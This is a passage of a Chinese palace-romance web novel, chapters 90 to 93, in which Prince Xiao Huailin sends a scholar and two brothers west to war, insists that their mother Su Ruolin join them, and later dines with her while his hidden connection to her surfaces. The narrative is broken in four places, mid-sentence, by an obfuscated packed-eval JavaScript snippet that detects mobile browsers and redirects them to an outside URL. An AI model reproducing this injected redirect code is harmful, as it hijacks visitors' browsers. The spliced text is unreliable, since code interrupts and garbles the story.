“这几日京城西北区的围守战里,本王观祝老先生用的可是司安推衡之术,此兵法气势恢宏,用在京城这一小片土地上着实有些可惜了。” “老先生若是不辞劳苦,可愿将其用于更合适的地方?” “司安推衡之术?”有武将窃窃私语,“那兵法不是失传了么?” “倒也不能算失传吧,不是留了半篇孤本流传于世么?” “莫非那半本在祝老先生手里?” “可那只有半本啊!内容根本不全,如何能用得出来?祝老先生既能将此兵法完整用于战场,那必然是参透了全本才是!” “嘶......” 眼见着周围人的窃窃私语声越来越大,祝贤盛再次抿了口茶水,闷声笑了。 他到底还是小看这宁安王了。 迎着萧怀琳胸有成竹的笑容,祝贤盛没有站起身,却是抬起双臂,作了一揖:“草民,幸不辱命!” 那就让他这把老骨头去试试吧,左右不过一个死,与其就这么默默无闻得死了,不如趁着还有气力,再去办件大事。 过了这个村,可就没这个店咯。 见此,张辅之冷哼了一声,陆恒之刚想开口劝说祝贤盛,却被张辅之拦了下来。 陆恒之瞪着张辅之,你平日里那么正经,怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13436963|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么一到大事上跟着老祝一块犯糊涂! 老祝这么大把年纪了,这又不是游山玩水,这是去打仗!军队里都是打仗的士兵,就他那瘸腿老身子骨谁来照顾! 可张辅之却知道,这是老祝的心病,他已经无法登上朝堂,若是如今再连上战场的机会都给他剥夺了,他这辈子都不会心安。 坐在最前边张辅之和陆恒之俩人用眼神僵持着,人群里杨纨玦和杨纨枫两兄弟对视了一眼,随后前者起身行礼道:“启禀王爷,臣亦请命西伐,还望王爷恩准。” “不必急着请命。”萧怀琳轻笑,“你们兄弟两个都去。” 哦? 此言一出,满厅众人意味深长地看着兄弟俩,王爷这是个什么意思,看起来也要重用安定侯两兄弟? 果然天才到了哪都能被赏识啊! “王爷!”苏若琳觉得自己都快心梗了,她就这么几个在乎的人,还一次性全被点去了战场,这宁安王不会是故意的吧! 情急之下,她下意识抓住萧怀琳的手臂,小声叫道:“王爷!” 右臂甫一被抓住,萧怀琳挑眉看向身边人:“嗯?” 苏若琳只觉得自己在这片刻之内把一辈子的脑子都动完了,她在脑子里闪过无数条能够劝宁安王改变心意的方法,最终选了一个看起来还算比较稳妥的。 老爷子自己决定好的事,十头牛都拉不回来,她劝不了;纨玦也是自己请命上的战场,而且他此次京城之战的功勋也证明了他有这个资格...... 她真的服气了,这怎么一个个的都想着去流血送命! 最后只剩下纨枫一个突破口了。 “王爷,我祖父熟读兵法,可运筹策帷帐之中,决胜于千里之外;纨玦投笔从戎,骁勇善战,想来到了战场也能领兵作战。” “可是纨枫他是个纯念书科举的文官啊,您让他治国理政说不定还行,但是让他上战场是不是不太合适了些......?” 苏若琳小心翼翼地将这片刻之内推敲了无数遍的话语讲述了出来,期盼对方能有略微的认可,却不曾想对方竟然轻笑出声。 在她不解的目光中,萧怀琳一边笑一边不住地摇头:“苏小姐啊苏小姐,你还是不够了解你的儿子。” 而萧怀琳这一笑,也正好引起了座下众人的注意。 萧怀琳笑过之后方才抬起头,目光落到了正默默注视着他的杨纨枫身上。 “本王记得,如今杨纨枫公子就任吏部司封司郎中,是吧?” 杨纨枫起身作揖:“回王爷,是如此。” “本王记得,北城门与城墙附近的五条街道是杨郎中负责的,若是本王没有猜错的话,杨郎中所用兵法与祝老先生的司安推衡之术颇有些相似,却又不尽相同——” “杨郎中所用兵法应是从祝老先生的兵法之中衍生出来的吧?” 杨纨枫颔首:“王爷英明。” 此言一出,满厅哗然。 能有人仅凭半篇孤本就参透司安推衡兵法已是惊奇,这怎么还有人衍生出了新的兵法?! 当真是名师出高徒呗! 而祝贤盛则是吹胡子瞪眼地看着自己的逆徒,那半本书他一直放在柜子里从没拿出来过,这小子什么时候偷看的! “如此一来,本王倒是好奇了。”萧怀琳摸着下巴,做出一副耐人寻味的模样,“这衍生的兵法是你想的,还是老先生所传授?” 91. 他怕了 萧怀琳的话语意有所指,满厅众人皆注视着杨纨枫那俊俏挺拔的身影。 迎着众人的注目,杨纨枫面不改色:“回王爷,家师曾于钻研那半篇孤本时做过诸多笔记批注,微臣参照家师的笔记,悟出此法。” 嘶...... 满厅倒吸了一口凉气,那半篇孤本真的在祝老先生手里!而且祝老先生真的是只根据半篇孤本,就复原了司安推衡兵法! 祝贤盛瞪着逆徒,若不是大厅之内人太多,他不方便走过去,不然他非得给这混小子来一棍子! 他那本笔记藏得地方比孤本还隐蔽,这混小子到底是什么时候偷遛进他屋里翻出来的! 祝贤盛气得心梗,萧怀琳耐人寻味地看着身旁的苏若琳:“这下苏小姐可知道,自己的儿子们都是如何天纵之资了?” 苏若琳没话说了。 如果可以的话,她此时此刻是真不想儿子们都这般聪明啊,越聪明就越想要展翅翱翔,飞去了战场,飞去了天南海北,音信暂无,下落不知,乃至于生死不明...... 她苦笑,她总算是明白了前世的那些父母们,在孩子们成年上大学、步入社会之后,骄傲又心酸的心情。 孩子大了,就要离家了,在外边吃了苦、受了伤,也不愿意跟家里说了,做母亲的如何不担心呢? 可是,可是...... 她身边就只有这两个儿子了,这两个孩子就是她的希望,她的盼头,好不容易熬过了京城守战,他们都安稳全乎地回来了,她那颗悬在半空中的心才终于落了地。 如今两个孩子却又要去那危险万分的战场,这两人一走,几乎是把她的心都带走了! 从前她只以为养孩子不过是安稳闲适日子里的一点乐趣,可真的相处这么多年下来,和这些孩子们感情早已悄然扎根在她的心里,无法磨灭,无法割舍。 苏若琳乞求地看着萧怀琳,双眼逐渐泛红,若非此时当着众人的面,她就真的要给宁安王跪下来了。 “王爷,我身边只有这几个亲人了,祖父心意已决我劝不动,可若是两个儿子也走了,我真的会寝食难安!” 可是......你走的不是两个儿子,是三个啊。 萧怀琳静静地望着面前人泪眼婆娑的动人面容,那往日微微一笑便能令满园芬芳黯然失色的俏丽身影,如今却如同春风扶柳一般柔弱不堪,叫人心疼,叫人怜爱。 而在他的心里,除去这心疼和怜爱,又平添了诸多难以言明的复杂心情。 自己当年失踪时,母亲是否也曾这般伤心过? ......应当是有的吧,萧怀琳想起了去年出征北疆时,舅父也曾向他询问过自己的下落。 时隔三年之久,母亲仍旧没有放弃寻找自己,那她当初一定很伤心很伤心吧? 这般想着,萧怀琳再开口时,声音都有了几分沙哑:“所以呢?” “臣妇恳求王爷,至少留一个儿子给我吧,他们都上了战场,我是真的放心不下!”苏若琳紧紧抓着萧怀琳的手臂,就如同紧握着绝望里唯一的曙光。 她那双通红的眼睛闪着泪光,情至悲伤之时,那小巧玲珑的鼻子都隐约泛红,像只受了委屈的小白兔。 苏若琳浓密的长睫毛微微颤动,晶莹剔透的泪水便从那细腻无暇的脸颊无声滑落。 见到面前人儿这副模样,萧怀琳的心也跟着不受控制地颤抖着,待到那两行泪珠自白瓷般玲珑细致的下颌滴落,他用尽此生最快的速度猛地伸出手,将那晶莹的泪珠接在掌心。 霎时间,掌心一片滚烫。 他反复默念着苏若琳那情急之下慌张出口的“臣妇”,像是一条饿到极致的狗反复咀嚼着一根又干又硬的骨头,直到把骨头敲碎,将骨缝里的最后一丝骨髓都吮吸干净,再将碎骨都舔入腹中,连一点渣滓都见不到,方才罢休。 萧怀琳忽地低声笑了:“舍不得你的儿子们啊?” 苏若琳使劲点头。 “既然如此。”萧怀琳伸出手抚上苏若琳柔软光滑的脸颊,那覆盖着薄茧的指腹轻轻擦掉苏若琳脸上的泪痕,他喉结动了动,“那你就跟我们一起去吧。” 哭得梨花带雨的苏若琳登时一愣,欸? 还未等回过神来,便听得萧怀琳当众宣布:“苏小姐一起,随本王出征西伐。” 话音方落,满厅哗然。 打仗啊!王爷!您怎么还带上家眷了! 更何况人家也不是您的家眷啊! 苏若景忍不住了,他皱着眉头起身提醒道:“启禀王爷,舍妹已于三年前嫁给老安定侯为妻,如今乃是安定侯与杨郎中之母,下官以为,应当唤作‘夫人’更加合适。” 他们苏家是选择了支持宁安王没错,也确实为其倾入了无数的心血和财力,但那也不代表他们苏家的女儿就能任由这小宁安王欺负! 而萧怀琳闻言,则是意味深长地“哦”了一声。 “既然苏都尉也说了,令妹嫁的是‘老’安定侯,如今老安定侯早已身死,那么这‘夫人’自然也是可以再变回‘小姐’的。” 说罢,他饶有兴致地看向面前有些呆滞的人儿:“我说的对么,苏小姐?” 苏若琳现在满脑子都是“这不对吧”“我是谁我在哪”“我现在离开这个是非之地还来得及吗”。 苏若景眉头皱得拧成了一个“川”字型,王爷这话是什么意思,难不成他还想让若琳和安定侯府和离不成? 且不说自家妹妹早已成了安定侯府的主心骨,如今安定侯府全府上下都仰仗于她,她在侯府也早已有了说一不二的地位。 若琳在安定侯府呆了这么多年,和侯府众人早已建立了深厚的感情,尤其是纨枫纨岚两兄弟,若琳和两兄弟母子情深,是轻易就能割舍掉的? 王爷到底在想什么?他知道王爷绝不是拎不清轻重的主,恰恰相反,王爷的心思比他想象中的还要深,那么王爷为何一边重用纨玦和纨枫,一边又说出这样的话? 王爷就不怕这俩孩子怨恨他吗! 这般想着,苏若景不由得去扭过头去看两兄弟。 扬纨枫并没有看向宁安王,只是他的目光极冷,冷的好似能把人活活冻死一般。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450329|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而杨纨玦则阴沉着脸站起身:“启禀王爷,战场艰险,臣与臣弟皆忧虑家母安危,还望王爷收回成命。” 这还是大楚建朝以来,第二次有大臣让主上直接“收回成命”的,第一次是还是高祖年间,太师张辅之拒任丞相一事。 在这件事上,杨纨玦杨纨枫两兄弟所思所想一样,他们寒窗苦读,才换来如今的平步青云确实不容易,可若是宁安王真的性子如此卑劣,广而众之地欺辱他们的母亲,那么不要说这身官袍了,哪怕是拼了命,他们也绝对要让宁安王付出代价。 而堂堂的准皇帝被公然顶撞,萧怀琳非但没有动怒,脸上的笑意还更深了:“安定侯一片赤子之心,当真是令本王欣赏。” “战场确实凶险万分,稍有不慎都有可能送命,你们一片孝心值得嘉奖。”萧怀琳悠悠道,“可是儿子在外生死厮杀,做母亲的只能在家里苦等,这样对你们的母亲来说,是否也太过残忍了?” 此言一出,杨纨玦和杨纨枫全身一震,低头不语。 ......尽管不知道宁安王是报着什么目的说这样的话,但是他的话确实一针见血,直击两兄弟的命门。 而苏若琳则低下头,掩藏起心底的思绪。 “既然你们都这般说了,那我也不强求了。”萧怀琳看向面前人,“要不要随我们出征,看苏小姐自己。” “只是,我可要事先说好,祝老先生身体如今还算硬朗,可行军出征并非易事,尽管有安定侯两兄弟相随,也难保能分得出精力来照看老先生......” “我去。”苏若琳当即道。 这宁安王可真是精准地捏住了他们的弱点。 祝贤盛意味不明地看着主座上那个露出得逞笑容的身影,据他这几日的观察,这小宁安王并非好色之徒,更不像是个会做蠢事的。 这小宁安王到底有什么目的? 他绝不相信这小宁安王只是单纯对小妮子动了心思,连打仗的时候都要把她带在身边,否则这几日京城守战的时候小宁安王干什么去了,能让小妮子每天围在自己身边乱转? 祝贤盛的不相信是对的,若是萧怀琳真的只是想见苏若琳,这些年都忍过来了,再忍些日子有何不可? 萧怀琳是怕了,他在北疆所向披靡,战无不胜,可仍旧架不住趁人之危,若非他发觉得早,日夜兼程赶回京城,面前人儿只怕早已惨遭敌手,他就再也见不到了。 那样一来,他那如地狱般度过的三年岁月,那为了因为训练而落下的满身伤疤,那无数次濒死都要强撑着走下来的这一路还有什么意义? 他实在是怕了,他也不敢让面前的人儿呆在自己保护不到的地方,再也不敢让她离开自己。 因此,此次出征,倘若他劝不动,哪怕是用强的,他也要把面前人一起带走。 “既然苏小姐自己已经同意了,安定侯可还有异议?”萧怀琳含笑望着杨纨玦,“若再有异议,可就不妥了。” 杨纨玦不再言语。 “既如此。”萧怀琳环视座下众人,宣布道,“三日后,本王亲自带兵,出征西伐!” 92. 你的名字 既然京城如今已经安全,朝廷官府很快起草下发各种通告,召回原本逃出京城的百姓。 同时新帝引咎自缢的事也广而宣之,为平息百姓怨气,也算是为这个在位不过四年的昏君挽回最后一点声望。 而与之相应的,宁安王万里奔袭救京城的故事也在民间大肆弘扬开来,被写成了无数话本子,被无数说书人竞相歌颂,更是成为了人们的饭后美谈。 “早先听闻王爷平定北方侵袭时我就知道,王爷必然是神武大帝转世,是上天派下来拯救我们这些百姓的英雄啊!” 京城某间茶馆内,客人来而又往,沸沸扬扬。 “宁安王是能打仗,可是谁知道治起国来是不是和他堂兄一样昏庸!”有个尖嘴猴腮的男人高声道,“我兄长住在京城南临巷,突厥打进来的时候没逃出去,被杀得全家就剩了一个儿子和一个老婆,这孤儿寡母的没人管,往后的日子怎么过!” “哎呀,这么惨!” “依我看啊,这都能让突厥打进京城来了,不就是朝廷不行,如今皇帝是死了,可是朝廷还是那个朝廷,这谁知道以后会不会还被什么别的敌军打过来!”尖嘴猴腮的男人猛灌了一壶酒,喝得满脸通红。 “你疯了!”连忙有人就要去捂他的嘴,“大庭广众的说这种大逆不道的话,你是想死不成!” “死了就死了!”尖嘴猴腮的男人说着竟然哭了起来,“我兄长和我爹娘都死了啊!我原本就有肺痨,做不了粗活,至多只能再活三个月,等我要是也死了,我嫂子和我侄子可怎么活啊!” 此言一出,原本人声鼎沸的茶馆登时静默了下来。 有人不禁叹了口气,这打起仗来啊,最先受苦的永远是老百姓。 有客人自茶馆外边走了进来,刚好听到这一番哭诉,指着大街外边道:“你还没看见新贴的通告吧?” “什么通告?” “是赈灾抚恤的通告!”那人激动道,“凡因京城失守流离失所、伤残死亡的百姓,自己或是家人都能去官府领赈款或者粮油,你快去看看!” “我这就去!”闻言,那尖嘴猴腮的男人登时停止了哭泣,跌跌撞撞地就往外边跑去,边跑还边喊,“哈哈哈哈!嫂子!大侄子!太好了!” 望着那人的背影,茶馆内众人一阵唏嘘。 “所以说,这宁安王到底还是和先帝不一样啊!” “这就先帝了?宁安王还没登基呢吧!” “没呢没呢!”有人摆了摆手,复又崇敬道,“王爷放下话了,如今大楚还有城池没有收复,他若是现在就登基自己都觉得愧对百姓,要等到把突厥都赶出去再登基呢!” “果真是明君啊!”人们纷纷夸赞道。 茶馆内依旧热闹非凡,此时一辆马车于茶馆门前经过,缓缓地停在了隔壁的酒楼门前。 那宽阔的红漆酒楼整整有六层之高,高耸的屹立在京城最繁华的大街——昌华大街的正中央,来自天南海北的客人络绎不绝,凡经此地者,无不抬起头去瞻仰那块金色牌匾上刚劲有力的三个大字——饕餮楼。 饕餮楼门前侍候的小厮一见有马车停下,凑近一看,这马车雕梁画栋、精致典雅,藕荷色的窗帘和马车上的飘穗随着风吹微微晃动——显然是哪家高门贵女。 正想着,一只玉手便从那绣着碧水波纹的藕荷色窗帘后伸了出来,再然后,窗帘被缓缓掀开,一个身着敏红色金丝水雾纱裙,头上身上带着各种名贵首饰,长相更是花容月貌、倾国倾城的女子缓缓走下马车。 小厮见那女子约莫二十出头的样子,梳着妇人髻,想来是哪家贵夫人,忙不迭上前见礼:“这位夫人贵安,夫人可有预定雅间?” 苏若琳轻提裙摆,缓步走上饕餮楼门前的台阶:“五楼天字号。” 小厮暗暗一惊,五楼今日以天字号为中心,前后左右相邻的一整圈包间都被包下来了,听闻那包场的客人身份太过尊贵,贵不可言,贵到连东家都亲自出来接待了。 而眼前这年轻貌美的贵夫人竟是来赴约那位贵不可言的客人的么? 小厮忙不迭扬起一个灿烂又不失谄媚的笑容:“夫人请,我给您带路!” 待到上了五楼,还未靠近天字号,俨然有一个身着玄衣的侍卫迎了过来,向苏若琳行礼:“苏小姐。” 苏若琳略微颔首:“王爷已经到了?” “王爷已经等候多时了,苏小姐请。”玄衣侍卫说着侧过身,为苏若琳让开了一条路。 至于带她上来的那个小厮,待听到那一声“王爷”时便已然吓得魂飞魄散。 如今整个大楚,能被喊做“王爷”的只有一位——就是再过不久就能被喊作“陛下”的那位! 因这一惊吓,小厮浑浑噩噩了近乎一整日,直到夜晚打烊以后,他才堪堪回过神来,不由得想到了一个问题——赴王爷约会的那位贵夫人梳的可是确确实实的妇人髻,为何王爷的侍卫却喊她做“小姐”? 不过这些都是后话了,如今小厮正失神的空当,苏若琳已然来到了天字号包间门前,她伸出手刚要敲一敲门,那扇门便从后面被人拉开了。 一个身着墨蓝色锦衣华服、脸上戴着银色麒麟面具的年轻男子映入了她的视线,那男子放下手中酒杯,冲她微微一笑:“苏小姐来了。” 声音如同二月春风一般和煦动听,还有那只拿着白瓷酒杯的手,纤巧白皙,看着竟比保养得当的大家小姐更加光滑。 摸起来感觉定然不错......咳咳咳。 苏若琳连忙止住内心放肆的想法,且不说小宁安王如今才十七,自己动这种想法放到现在就是犯罪;她觉得宁安王若是真的知道了她想揩人家的油,可能直接给边上的侍卫递过去一个眼神,自己就见不到明日的太阳了。 罪过啊罪过。 而对面的萧怀琳见她正看着自己的手发呆,不禁抬起那只被她盯着的手,眯起眼也端详了一番:“这只手怎么了?” 好看,苏若琳在心里道。 许是她的心声猥琐得太过强烈,对面的萧怀琳竟然读懂了她的想法,随后轻笑了一声:“好看?” 这笑容实在是太过于温柔,太过于温暖,仿佛能融化冬月里的寒霜、雪山之上的坚冰,与他脸上那鬼煞修罗一般的冰冷面具显得实在是格格不入。 然而在这温柔笑意的鼓舞下,苏若琳竟鬼使神差地点了点头。 随后那原本就面露微笑的男人笑得愈加明媚了。 萧怀琳站起身,一步步缓缓来到她面前,伸出那只被夸好看的手,手心朝上,向她发出邀请:“那就过来好好看看这只手。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465069|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 只是手心这面一露,就显得没那么好看了,甚至有些狰狞。 这手心与男人光滑纤细的手背格格不入,一整只手掌布满了茧子,甚至手心和指尖各处纵横着许多道伤疤,这么一看,倒是十分符合他战场杀神的声名了。 只是苏若琳却没来由得有些心疼,这宁安王到底都经历过些什么,才能让原本那么好看的一双手变得如此惨烈? 正思索着,头顶传来一声呼唤:“你又走神了。” 闻言,苏若琳这才堪堪回过神,随后头顶便传来了温热的触感——萧怀琳的另一只手已经轻轻落在了她的发顶上。 “这双手就这么值得你浮想联翩?” 这姿势虽然放到她前世不算什么,但是搁现在似乎有些过于暧昧了,苏若琳轻咳了一声:“王爷唤我来所为何事?” 前日宁安王方才宣布三日后带着她一起出征,昨日她本想着带着老爷子和儿子们早些搬回侯府住,却不曾想被王爷拦了下来。 按照王爷的话来说,就是侯府前些日子才被突厥摔夺抢砸了一番,如今定然乱得很,他可以派人先去把侯府修缮一番,待到侯府修缮完毕,京城外庄子里的侯府众人也回来了,她们正好搬回去。 苏若琳连忙给拒绝了,这宁安王也太热情了,而且她到现在都不知道宁安王对她这么好到底是图什么,看起来好像是在图她,可是她都这个年纪了还嫁过人,就算别人相信她也不相信啊。 她又不傻,看得出来王爷城府极深,做的任何事定然都不像表面那般简单,兴许王爷是想用她来稳固老爷子和儿子们的信任呢? 毕竟她祖父和儿子们都这么优秀。 这么一想她还真是前半辈子靠爹娘,后半辈子靠儿子啊。 挺爽。 而宁安王那日得到了拒绝的答复,也并未表现出不虞,只是加了个条件——正是让她今日来赴约。 她也挺好奇的,王爷喊她过来能跟她谈什么? 而面前的萧怀琳闻言,却是略一挑眉:“我记得我说过的。” 闻言,苏若琳不禁面露疑惑,王爷有说过约自己来所为何事吗?自己怎么不记得了? 她有些尴尬了笑了笑:“我有些忘记了,可否麻烦王爷再重复一遍,咱们今日来此所为何事?” 萧怀琳轻笑出声:“说的不是这个。” “啊?”苏若琳傻眼,“那是说的什么?” 萧怀琳颇为无奈地叹了口气:“不要再叫我王爷。” ......哦,她想起来了,王爷从一开始确实说过,不必喊他王爷,以你我相称即可。 可是后来她又觉得,直接喊她全家人的顶头上司“你、你”的似乎有些太没大没小了,但是顶头上司都这么命令了,不遵守又有些不太好...... 纠结着纠结着,不知怎么就变成以“我”自称,以“王爷”敬称了。 随后,她的心声似乎再一次被读懂了,面前人歪着头,有些宠溺地看着她:“若是你觉得这样不太好,也可以喊我的名字。” “王......你的名字?”苏若琳看着他,对哦,她还不知道这位威名赫赫的宁安王叫什么呢。 想到此,她不禁有些惭愧:“有没有一种可能......其实我还不知道你的名字?” 93. 菀菀类卿 预料之中的结果。 “怀琳。”温润的嗓音像是一阵迷香,随着萧怀琳的气息拂过苏若琳的耳边,惹得她耳根泛红,“我叫怀琳。” 登时一股属于男性的荷尔蒙扑面而来,夹杂着对方身上淡雅的熏香气味,苏若琳只感觉自己大脑都迟钝了,这宁安王的名字也太......巧了吧。 大楚国姓为萧,所以宁安王全名叫做萧怀琳? “所以王爷名唤萧怀琳?”苏若琳勉强找回自己的神智,冲着对方嫣然一笑,“真巧,我叫苏若琳。” 一个怀琳,一个若琳,咋一听倒是有了点莞莞类卿的意思。 “‘琳’是美玉的意思。”萧怀琳温柔地注视着面前人白玉一般细腻光洁的肌肤,“与你很配。” “那你呢?”被这么一夸,苏若琳的心像被一只调皮的猫儿伸出爪子不轻不重地挠了一下,弄得痒痒的,“怀琳怀琳,王爷可是在怀念某个也如美玉一般的人儿?” 闻言,萧怀琳轻笑了一声,望着面前人的目光逐渐变得深情:“没错,我正是在怀念一个如美玉一般的人。” 这下苏若琳似乎明白这个萧怀琳为什么对她这么好了,不会真是菀菀类卿,拿她当替身了吧? 知晓了王爷所图,苏若琳悬着的心可算是落了地,既然对方都拿她当工具人了,那么大胆放心地享受对方的好意也就没什么问题了。 只是陡然发现自己居然被当成了备胎,苏若琳心里到底还是有些膈应。 这般想着,她的语气都不知不觉多了些酸味:“那人想必对王爷很重要吧。” 听到这酸酸的语气,萧怀琳的笑意却更深了:“对,很重要。” “有多重要?”苏若琳睥睨了他一眼。 那凶狠恶煞的银色面具下,明若朗星的凤目愈加深情:“若是能在她身边长长久久地陪伴着她,我愿意付出一切代价。” 能在她身边长长久久地陪伴着她? 这话听着确实深情,可是却也耐人寻味,为何不是和她长长久久地在一起,而是陪着她身边? 苏若琳微微皱眉:“我听着,此人似乎不是王爷的心上人?” 倒像是某种......尊敬之人?像是父母、师长之类的? 闻言,萧怀琳罕见地沉默了。 半晌,他回答:“是,也不是。” “不......”萧怀琳顿了顿,“是。” 他望着面前绝色的俏脸,那人自他生命中最灰暗的那段时光里牵起他的手,将他带到了温暖的天地下。 后来人生跌宕,他再次坠落深渊,历经了无数次生死一线、伤口淋漓,也是面前这人的一颦一笑,支撑着他走到现在。 萧怀琳脸上逐渐浮现出了灿烂的笑意,眼中闪烁的光芒灿若繁星:“是,她就是我的心上人。” 苏若琳被面前人的笑容看得呆住了,明明他只露着半张脸,而且另外半张脸上的面具还是如此的青面獠牙,然而这人的微笑却是如此的温暖,宛若万物复苏、春暖花开。 “咳咳......”她不自然地轻咳了两声,“既然王爷意有所属,为何却不与那人在一起呢?” 面前人可是未来的皇帝,想要什么女人得不到?就算是他爹的姬妾,他但凡招一招手,那些女人怕是都争着抢着往他怀里钻。 就比如那个陈姨娘。 ......莫非他的意中人其实不喜欢他,不愿意和他在一块? 除了这个原因,苏若琳也想不出别的可能了,而想到此,她看向萧怀琳的目光不由得多了几分怜悯。 啧啧啧,就算是当了皇帝,也得不到意中人的心啊。 不过这宁安王倒也算是个君子,即便对方不喜欢他,他也没有仗着自己的权势强抢豪夺。 那自己现在作为人家的......呃,备胎的话,自己要是不愿意,宁安王应该也不至于......用强的吧? 也许不至于,但是可能人家一个命令下来,自己的儿子们就都被罢免革职,回家种田了。 这就是吃人嘴短、拿人手软的坏处么?! 苏若琳心里的小九九越盘算越离谱,然而萧怀琳的心思却也飞去了九霄云外。 既然王爷意有所属,却为何不与那人在一起呢? 一句疑问,将他带回了四年前的某个夜晚。 那晚夜色昏沉,乌云蔽日,连带着狂风都在哭嚎,他战战兢兢地被青夭带到老宁安王——也就是他的生父面前,恐惧填满了他的一整颗心。 他来到王府,从此便是宁安王世子,需要和过去的一切割舍断绝。 “名字也要重新起。”老宁安王冷漠地将他从头到脚打量了一遍,像是在打量某件货物,“长得就像个女儿家一般弱不禁风,怪不得能叫‘婉枝’。” “不过......”老宁安王露出了意味不明的笑容,“你若是有想法,倒是可以自己选一个名字。” “是自己选,还是我给你起,看你自己。” 那时的他还是杨婉枝,只是很快他就不再是了,和过去的一切断绝么...... 他不想,也不愿。 忽得,脑海中闪过两个字,两个承载着他过去一且美好的字眼。 像是抓住那最后一丝希望一般,在他能抓住这两个字的瞬间,便脱口而出:“怀琳。” “怀琳?”老宁安王坐在椅子上,缓缓念了一遍这个名字,“你想怀念谁?” 在他长大的这些年里,老宁安王早就把他身边的一切都调查得清清楚楚,在他这十几年的生命里,唯一遇见的一个名字中带“琳”字的,便是他的继母——京北苏家大小姐,苏若琳。 老宁安王起初还以为这就是个扶不上墙的玩意,但现在看来,这摊烂泥里边倒是还有点意思。 不过这也不是坏事。 要想在往后几乎堪称惨无人道的训练中撑下来,总得有个奔头。 “你要行那天下大不韪之事,就要站上那人间的顶端,让任何人都只能仰望你,尊敬你,惧怕你,任何人都不敢对你的所作所为横加指责。” “只要这样,也只有这样,你才能和你的心上人名正言顺地在一起。” “因为但凡敢说名不正言不顺的人,都死了。” 这是老宁安王的原话,后来也成他行走于茫茫天地间的目的。 他要行那天下大不韪之事,就必须先得到这天下,这样才能和他的心上人堂堂正正地在一起,给他的心上人一个无可撼动的名分。 而在此之前,他必须隐藏起自己的妄念,不能让任何人发觉他过去的任何蛛丝马迹。 为了他自己,也为了他的心上人。 正想着,忽得耳边传来一道呼唤:“王爷?怀......琳?” 萧怀琳回过神,嘴角勾出了一抹浅浅的笑意:“嗯,我在。” “这次轮到你走神咯。”苏若琳歪着头,瞪着好奇的大眼睛看着他,“你还没告诉我呢,既然你喜欢那个女子,为何不同她在一起?” 萧怀琳顿了顿,继而露出一个神秘莫测的神情:“你猜。” 怎么还卖起关子了?苏若琳瞪大眼睛看着面前人,刚才不是挺爽快的,她差点就能吃到堂堂宁安王的八卦了啊! 不行,这个瓜她必须套到手! “那,那位姑娘是哪家千金啊?”苏若琳迫不及待地追问道,同时在心里盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481778|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算着如今京城年龄合适又待字闺中的各家小姐。 只是萧怀琳却没有再回答她,而是伸出那只光滑细腻而又伤痕满目的手,轻轻地牵起苏若琳的青葱玉指,带着她往餐桌的方向走去。 “再不用午膳,就过了时辰了。” “你还没告诉我呢!”苏若琳鼓起腮帮子瞪着他,什么啊,把她吊了好一通胃口却又不肯说了! “想知道?”萧怀琳扭过头看着她。 这不是废话吗! 萧怀琳低低地笑了:“你以后会知道的。” 真的假的?苏若琳怀疑地看着他,却见他把身旁的椅子拉开,而后睁着秀丽的凤目,温润地看着她。 ......这是在请她落座么? 这宁安王当真是个绅士啊,对自己这个备胎都这么贴心,难以想象他对那个真爱到底有多好。 待落了座,萧怀琳摇铃唤了小厮进来,随意报了几个菜名,惹得苏若琳一惊。 竟然都是她爱吃的。 她不禁问向萧怀琳:“这些都是你爱吃的?” 萧怀琳看了看她,并未言语,反而又报了另外几道菜:“这几道才是我爱吃的。” 蒜蓉虾泥、胡油拌面、西湖醋鱼...... 听着这一道道熟悉又陌生的菜名,苏若琳嘴边的笑容渐渐地凝固了。 “不高兴了?”萧怀琳问她,“不喜欢?” 苏若琳轻摇了摇头,沉默了许久,才艰难地开口:“你的口味,和我女儿的当真是一模一样。” 萧怀琳拿着菜单的手微顿,心里已然掀起了惊涛骇浪。 “我印象里,安定侯府似乎全是些儿子?” “也是有女儿的。”苏若琳努力笑了笑,“一个现下被养在庄子里,一个年岁还小。” “那和我口味相近的是哪个女儿?”萧怀琳看着她,一颗心微微颤动。 “......都不是。”苏若琳的声音有些艰涩,“是一个走丢了的。” 